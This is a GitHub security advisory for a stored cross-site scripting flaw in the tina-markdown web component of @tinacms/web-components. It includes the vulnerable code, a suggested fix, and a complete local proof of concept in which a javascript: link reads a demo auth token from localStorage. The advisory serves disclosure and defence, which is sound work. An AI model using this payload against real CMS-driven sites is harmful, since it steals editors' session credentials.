GitHub Advisoryadvisory · npm

GHSA-c42q-qvc3-j6vg @tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS

HIGH Published 2026-10-09 Modified 2026-10-09 Official page ↗
Aliases
CVE-2026-108260
Ecosystem
npm
Packages
@tinacms/web-components
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Weaknesses
CWE-79, CWE-83
Reviewed
2026-10-09

Affected packages

• npm @tinacms/web-components: < 0.2.1 → fixed in 0.2.1

Description

Summary `` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not. Details The unvalidated sink: ``` packages/@tinacms/web-components/src/tina-markdown.js:67-69 if (node.type === 'html' || node.type === 'html_inline') { return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true }); } packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url; packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url; ``` `node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation. The guard that exists in every sibling renderer: ``` packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 packages/tinacms/src/rich-text/index.tsx:322 packages/tinacms/src/rich-text/static.tsx:254 packages/tinacms/src/rich-text/static.tsx:242 packages/@tinacms/astro/src/LinkNode.astro:19 packages/@tinacms/astro/src/ImageNode.astro:16 ``` `tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize. That this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of "matching the `components` prop on the React and Astro renderers" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way. Default-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting. Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation: ```js import { sanitizeUrl } from '@tinacms/mdx/sanitize-url'; if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url); if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url); ``` Variant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`. PoC Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable. Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `[email protected]`. Setup ```bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts [email protected] [email protected] [email protected] cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts ``` `entry.js`: ```js import './tina-markdown.js'; // registers import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control window.__sanitizeUrl = sanitizeUrl; ``` `site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `click me`: ```html public site rendering CMS rich-text Site page const ast = { type: 'root', children: [ { type: 'p', children: [ { type: 'a', url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", children: [{ type: 'text', text: 'click me' }] } ]} ] }; // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and // value are written by packages/tinacms/src/internalClient/authProvider.ts:117. localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN'); const el = document.createElement('tina-markdown'); el.setAttribute('content', JSON.stringify(ast)); document.getElementById('host').appendChild(el); window.__ready = true; ``` `run.cjs`: ```js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const PORT=8811, DIR=path.join(__dirname,'site'); const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0]; const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'}); res.end(fs.readFileSync(f));}); (async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'}); const page=await browser.newPage(); await page.goto(`http://127.0.0.1:${PORT}/`); await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300); const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a'); return {hrefAttr:a&&a.getAttribute('href')};}); await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click()); await page.waitForTimeout(500); const pwned=await page.evaluate(()=>window.__pwned||null); const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain")); console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null, capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2)); await browser.close(); srv.close();})(); ``` Run ```bash cd /tmp/tina-tm npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts node run.cjs ``` Observed output (captured verbatim) ```json { "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", "scriptExecutedOnClick": true, "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN", "control_sanitizeUrl_output": "" } ``` Expected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin …

Related

Alias · CVE (1)

  • CVE-2026-108260 Tina is a headless content management system. vulnerability

Weakness · CWE (2)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness
  • CWE-83 Improper Neutralization of Script in Attributes in a Web Page weakness

References